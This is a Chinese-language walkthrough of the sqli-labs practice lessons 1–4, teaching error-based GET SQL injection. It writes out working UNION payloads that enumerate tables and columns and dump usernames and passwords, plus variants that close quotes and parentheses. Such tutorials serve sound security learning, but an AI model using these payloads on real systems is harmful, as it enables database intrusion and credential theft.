报错基于GET的注入GET-Error based
lesson1 Single quotes-String
判断是数字型还是字符型
这一点还是很好判断的,在有报错提示下的话。这里的例子基于sqli-labs的lesson1和lesson2。
?id=1'
得到报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
我们看一下报错信息 ‘‘1’’ LIMIT 0,1’,为了方便查看,我们将左右单引号去掉,那只是提示error信息的,所以真正的应该是 ‘1’’ LIMIT 0,1
--+ ''1'' LIMIT 0,1'
--+ 去掉2边的单引号 ‘1'' LIMIT 0,1
--+ 我们输入的是1’,很容易看出1‘被单引号包围了,所以这是一个字符型注入
--+ 可以猜出lesson1的sql语句大致是这样的
select username,password from table where id = 'id' limit 0,1
我们判断出应该是那种类型注入之后的步骤是通过编写恶意SQL来获得数据库的所有想要的信息。
枚举获得column数量
接下来需要用到union查询,而union的表的columns必须相同,所以需要用到order by来猜测columns数量。编写SQL
?id=1' order by [number] --+
# --+是注释的一种,目的是注释掉后面的limit 0,1
number只能自己去试,这是没有捷径的一步。测试出columns的数量之后就能使用union查询了。在这里查询出的是3。因此编写如下sql或得数据
1.获得表信息
查询当前数据库有哪些表。
select username,password from table where id = '0'
union
SELECT 1,GROUP_CONCAT(table_name),33
FROM information_schema.tables
WHERE table_schema = DATABASE() #limit 0,1
为什么这里的id要是0呢?
select username,password from table where id = '0'
因为union会将2个结果集进行合并,而我们关心的是union后面的结果集,所以用一个id=0的目的仅仅是将前面的结果集变为空集,方法不唯一,只要能让前面的结果集为空集就好了。
编写的参数应该是这样的
/*
?id=0' UNION SELECT 1,GROUP_CONCAT(table_name),33 FROM information_schema.tables WHERE table_schema = DATABASE() --+
*/
select username,password from table where id = 'id' limit 0,1
//相当于我们那这一段去填充id
select username,password from table where id = '0'
UNION
SELECT 1,GROUP_CONCAT(table_name),33
FROM information_schema.tables
WHERE table_schema = DATABASE() --+’ limit 0,1
//--+是注释所以最后得到的是
select username,password from table where id = '0'
UNION
SELECT 1,GROUP_CONCAT(table_name),33
FROM information_schema.tables
WHERE table_schema = DATABASE()
返回的是这样的
可以看到返回的是这样的结果,根据结果可以得出当前数据库拥有emails表、referers表、uagents表、users表。我们来看看users表。
2.获得字段名
查询users表的有哪些字段。
select username,password from table where id = '0'
union
SELECT 1,GROUP_CONCAT(column_name),33 FROM information_schema.columns WHERE table_name = 'users' --+limit 0,1
经过第一步的讲解,下面的变化其实只是参数的改变了。
参数编写
?id=0' union SELECT 1,GROUP_CONCAT(column_name),33
FROM information_schema.columns
WHERE table_name = 'users' --+
查询得到字段id、username、password。
3.得到用户名和密码
查询users表的字段username和password。
select username,password from table where id = '0'
union
SELECT 1,GROUP_CONCAT(username,'~',password),33 FROM users --+limit 0,1
参数编写
?id=0' UNION SELECT 1,GROUP_CONCAT(username,'~',password),33
FROM users --+
lesson2 Intiger based
判断数字型还是字符型
这一步是永远不会变的。继续用单引号尝试
?id=12'
得到报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
我们看一下报错信息 ‘’ LIMIT 0,1’,为了方便查看,我们将左右单引号去掉,那只是提示error信息的,所以真正的应该是 ’ LIMIT 0,1
--+ '' LIMIT 0,1'
--+ 去掉2边的单引号 ' LIMIT 0,1
--+ 我们输入的是12’,很容易error提示中只出现了单引号,说明这是一个数字型注入
--+ 可以猜出lesson1的sql语句大致是这样的
select username,password from table where id = id limit 0,1
因为后面依然需要用到union所以同样需要用尝试获得该表的column数量。
步骤其实与lesson1完全一样了,区别在于如果是数字型的话,在编写参数时,不需要用单引号进行闭合了
/*
?id=0 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema = DATABASE() --+
*/
select username,password from table where id = id limit 0,1
--+ 这一段去填充id
select username,password from table where id = 0
UNION
SELECT 1,GROUP_CONCAT(table_name),3
FROM information_schema.tables
WHERE table_schema = DATABASE() --+ limit 0,1
--+ 去掉注释
select username,password from table where id = 0
UNION
SELECT 1,GROUP_CONCAT(table_name),3
FROM information_schema.tables
WHERE table_schema = DATABASE()
后面的步骤就完全一样了
注意需要单引号进行闭合!!!
lesson3 Single quotes with twist
?id=12'
报错信息如下
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘2’’) LIMIT 0,1’ at line 1
--+ ''2'') LIMIT 0,1'
--+ 去掉2边的单引号 '2'') LIMIT 0,1
--+ 我们输入的是2’,很容易看出2‘被单引号包围了,所以这是一个字符型注入。
--+ 但是多了一个括号
--+ 可以猜出lesson1的sql语句大致是这样的
select username,password from table where id = ('id') limit 0,1
那么我们需要的只是去闭合这个括号而已,大致的步骤并没有什么区别
编写参数
/*
?id=2') --+
*/
select username,password from table where id = ('id') limit 0,1
--+ 这一段去填充id
select username,password from table where id = ('2') --+') limit 0,1
--+ 去掉注释
select username,password from table where id = ('2')
后面union是什么,我就不再赘述了,到这里如果认真体会的话,其实已经知道了,这一篇的重点就是标题,然后基于报错信息去如何闭合使得后面的union能够有效,并且编写恶意sql。
lesson4 Double Quotes
这回我们看到就算输入了2个单引号都没有报错,这是怎么回事呢?因为背后SQL语句是用double quotes来闭合的。用双引号来闭合参数,不管你输入的是什么都将被识别成string来处理。
这个时候要用double quotes来进行探测了
/*
?id=5"
*/
--+ 或者用反斜杠来进行探测
/*
?id=5\
*/
双引号报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“6"”) LIMIT 0,1’ at line 1
反斜杠报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“6\”) LIMIT 0,1’ at line 1
--+ 双引号试探
--+ '"6"") LIMIT 0,1'
--+ 去掉2边的单引号 "6"") LIMIT 0,1
--+ 反斜杠试探
--+ '"6\") LIMIT 0,1'
--+ 去掉2边的单引号 "6\") LIMIT 0,1
--+ 猜测sql是这样的
select username,password from table where id = ("id") limit 0,1
那么我们不仅要去闭合这个双引号,还需要去闭合括号。分析到这其实也不难了。
编写参数
--+ ?id=6") order by 6 --+
--+ 返回的报错信息
--+ Unknown column '6' in 'order clause' 说明闭合成功
select username,password from table where id = ("id") limit 0,1
--+ 这一段去填充id
select username,password from table where id = ("6") order by 6 --+") limit 0,1
--+ 去掉注释
select username,password from table where id = ("6") order by 6
知道怎么闭合之后,剩下的就一模一样了。